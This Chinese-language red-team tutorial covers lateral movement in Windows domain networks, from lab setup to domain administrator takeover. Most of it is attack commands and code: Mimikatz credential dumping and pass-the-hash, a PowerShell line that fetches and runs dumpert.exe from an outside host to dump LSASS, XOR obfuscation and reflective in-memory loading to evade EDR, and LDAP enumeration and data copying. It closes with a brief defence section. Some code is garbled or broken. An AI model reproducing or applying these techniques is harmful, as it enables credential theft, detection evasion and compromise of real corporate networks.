一、从防守到攻击:横向移动为何成为内网杀手锏

在企业网络安全防御中,横向移动是红队攻击的关键环节。即使边界防护做得再严密,一旦攻击者成功突破内网,横向移动能力将决定其对整个网络的掌控程度。为了理解攻击者的行为,防守者需要反推其可能采取的路径。攻击者通常的目标包括:

  1. 突破权限边界:从普通用户窃取域管理员权限。
  2. 资产横向扩展:从一个主机跳跃到更重要的服务器。
  3. 数据集中收割:锁定目标数据并完成窃取、加密或破坏。

攻击者完成这些步骤的基础在于对目标环境的深度掌握。接下来,我们将从攻击者的视角,剖析如何利用横向移动技术,逐步控制内网环境。

---

二、环境搭建:复现企业内网场景

为了让技术更贴近实战,我们需要构建一个模拟的企业内网环境。以下是推荐的实验环境:

实验环境需求

  1. 目标系统:至少包含一台域控、一台普通员工主机和一台文件服务器。
  2. 网络拓扑:所有主机处于同一内网子网,使用 Active Directory 域。
  3. 工具配置
  • 攻击工具:Cobalt Strike 或 Sliver
  • 编程环境:Python 3.9 和 PowerShell
  • 测试工具:Impacket(用于协议利用)

环境搭建步骤

  1. 创建域控服务器(Windows Server 2019),配置 Active Directory。
  2. 使用 Windows 10/11 创建域内普通员工主机,加入域。
  3. 部署文件服务器,并放置测试数据。
  4. 配置防火墙规则,允许 SMB 和 RDP 等协议内部通信。

搭建完成后,你将拥有一个完整的模拟内网环境,可以开始测试横向移动技巧。

---

三、横向移动的核心:凭证窃取与利用

横向移动的前提是获取目标用户的凭证。以下是攻击者可以采用的几种实战方法:

黑客示意图

1. 使用Mimikatz窃取凭证

Mimikatz 是红队攻击中的经典工具,用于提取用户凭证。它能够抓取内存中的明文密码、哈希值等。

命令示例

<pre><code class="language-plaintext">privilege::debug sekurlsa::logonpasswords</code></pre>

通过上述指令,攻击者可以获取当前登录用户的密码或 NTLM 哈希。然后这些凭证可以用于 Pass-the-Hash 攻击。

2. 利用LSASS内存注入

攻击者可以直接注入 LSASS 进程,并将凭证导出。这种方法通常结合 PowerShell 使用:

<pre><code class="language-powershell"># 使用 PowerShell 脚本加载 Dumpert Invoke-WebRequest -Uri &quot;http://example.com/dumpert.exe&quot; -OutFile &quot;dumpert.exe&quot; Start-Process &quot;dumpert.exe&quot;</code></pre>

这种方式对抗 EDR 检测时,建议将 Dumpert 二进制进行混淆处理。

3. 坐享其成:Sniffing SMB会话

如果目标用户正在使用 SMB 或 RDP,我们可以监听内网流量,直接抓取其会话凭证。

以下是使用 Impacket 抓取 NTLM 会话的示例代码:

<pre><code class="language-python">from impacket.examples.ntlmrelayx.servers import SMBRelayServer

配置 SMBRelayServer 监听

server = SMBRelayServer() server.start()</code></pre>

攻击者可以通过中间人攻击获取认证信息,用于后续横向渗透。

---

四、潜伏技术:免杀与绕过EDR

横向移动过程中,攻防对抗的核心在于如何保证载荷隐匿,避免被EDR捕获。以下是一些有效的免杀与流量伪装技巧:

1. 二进制混淆

攻击载荷(如 Mimikatz、恶意 DLL)通常需要混淆以绕过静态分析。以下是一个 Python 实现的恶意载荷混淆代码:

<pre><code class="language-python">def obfuscate_payload(payload): obfuscated = &#039;&#039;.join([chr(ord(char) ^ 0x55) for char in payload]) return obfuscated

使用混淆后的载荷

payload = open(&#039;mimikatz.exe&#039;, &#039;rb&#039;).read() obfuscated_payload = obfuscate_payload(payload)

保存到文件

with open(&#039;mimikatz_obfuscated.exe&#039;, &#039;wb&#039;) as file: file.write(obfuscated_payload)</code></pre>

2. 内存加载技术

避免直接落地载荷,而是采用内存加载方式执行。以下是 PowerShell 实现:

<pre><code class="language-powershell"># 使用 PowerShell 的反射加载 DLL $DLL = [System.IO.File]::ReadAllBytes(&quot;mimikatz.dll&quot;) $Assembly = [System.Reflection.Assembly]::Load($DLL) $Method = $Assembly.GetType(&quot;Mimikatz.Program&quot;).GetMethod(&quot;Run&quot;) $Method.Invoke($null, $null)</code></pre>

通过这种方式,恶意代码仅在内存中运行,极大降低被检测的概率。

黑客示意图

---

五、实战案例:从普通用户到域管理员

以下是一个完整的实战流程,展示如何通过横向移动逐步提升权限:

攻击步骤

  1. 信息收集:通过 LDAP 查询域用户和计算机信息。
  2. <pre><code class="language-python"> from ldap3 import Server, Connection, ALL server = Server(&#039;ldap://192.168.1.10&#039;, get_info=ALL) conn = Connection(server, user=&#039;user&#039;, password=&#039;pass&#039;, auto_bind=True) conn.search(&#039;dc=example,dc=com&#039;, &#039;(objectClass=person)&#039;, attributes=[&#039;cn&#039;, &#039;sAMAccountName&#039;]) print(conn.entries) `

  1. 凭证窃取:使用 Mimikatz 抓取普通用户的密码。
  2. `plaintext sekurlsa::logonpasswords `

  1. 横向移动:利用 SMB 或 WMI 执行远程代码。
  2. `powershell Invoke-Command -ComputerName &quot;Target-PC&quot; -ScriptBlock {Get-Process} `

黑客示意图

  1. 权限提升:尝试域管理员账号的 Pass-the-Hash 攻击。
  2. `plaintext sekurlsa::pth /user:Administrator /domain:example.com /ntlm:&lt;hash&gt; `

  1. 数据窃取:定位敏感文件并下载。
  2. `powershell Copy-Item &quot;\\fileserver\shared\Reports&quot; -Destination &quot;C:\Users\Public\Reports&quot; `

---

六、检测与防御:如何阻击攻击者

从防御角度来看,以下技术可以有效降低横向移动攻击的风险:

1. 开启 LSASS 保护

通过启用 Windows 的受保护进程机制,避免凭证被直接抓取。

黑客示意图

2. 禁用 SMBv1

关闭 SMBv1,减少攻击者利用过时协议窃取认证信息的机会。

3. 加强日志监控

配置 SIEM 系统实时监控 PowerShell、WMI 调用和横向移动行为。例如:</code></pre>plaintext Event ID 4688: New Process Creation Event ID 4624: Logon Events `

---

七、个人经验:如何打造强大的横向移动链

在多年的红队实战中,我发现以下几点非常重要:

  1. 多工具配合:不要局限于单个工具,可以组合使用 Cobalt Strike 和 Impacket。
  2. 专注免杀:载荷的隐匿性是横向移动成功的保障,投入时间研究混淆技术。
  3. 伪装流量:通过协议伪装,使通讯看起来像合法行为。

横向移动不仅是技术,更是一门艺术。只有在实战中不断打磨,才能成为真正的内网渗透高手。